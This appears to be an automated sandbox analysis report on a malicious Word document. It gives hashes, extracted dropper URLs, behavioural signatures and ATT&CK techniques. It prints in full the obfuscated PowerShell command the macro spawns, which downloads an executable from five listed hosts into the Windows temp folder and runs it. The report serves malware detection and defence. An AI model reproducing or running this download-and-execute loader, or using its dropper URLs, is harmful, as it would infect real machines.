dac399cd370db99711be5b31c1b5935432b9cd11c5e9745e752a5a7b66ef9e67

Analysis

max time kernel
125s
max time network
184s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2022 14:06

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General

Target

test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Size

265KB
MD5

34c85b83169b5e70bbfc76c2d6de2be0
SHA1

cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8
SHA256

0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b
SHA512

0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e
SSDEEP

3072:0khgqkhgACSQKaSx+SbtYqS4fvS7GQRbSVuz1QzC9klhxztsZ5QPwYTXjdOSrv:0CwQK3RpVS7G4SVuz1QzLhxztsZGPw0

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3976	4932	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

41 3976 powershell.exe

flow	pid	process
41	3976	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4932 WINWORD.EXE
4932 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3976 powershell.exe
3976 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3976 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE
4932 WINWORD.EXE

pid	process
4932	WINWORD.EXE
4932	WINWORD.EXE

pid	process
3976	powershell.exe
3976	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3976	powershell.exe

pid	process
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE
4932	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4932 wrote to memory of 3976	4932	WINWORD.EXE	powershell.exe
PID 4932 wrote to memory of 3976	4932	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3976

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3976-139-0x0000000000000000-mapping.dmp

Download
memory/3976-144-0x00007FF89D320000-0x00007FF89DDE1000-memory.dmp

Filesize
10.8MB

Download
memory/3976-143-0x00007FF89D320000-0x00007FF89DDE1000-memory.dmp

Filesize
10.8MB

Download
memory/3976-142-0x00007FF89D320000-0x00007FF89DDE1000-memory.dmp

Filesize
10.8MB

Download
memory/3976-141-0x0000018A4B570000-0x0000018A4B592000-memory.dmp

Filesize
136KB

Download
memory/4932-136-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-138-0x00007FF886CA0000-0x00007FF886CB0000-memory.dmp

Filesize
64KB

Download
memory/4932-137-0x00007FF886CA0000-0x00007FF886CB0000-memory.dmp

Filesize
64KB

Download
memory/4932-140-0x000001CD6AB70000-0x000001CD6AB74000-memory.dmp

Filesize
16KB

Download
memory/4932-132-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-135-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-133-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-134-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-146-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-147-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-148-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download
memory/4932-149-0x00007FF889190000-0x00007FF8891A0000-memory.dmp

Filesize
64KB

Download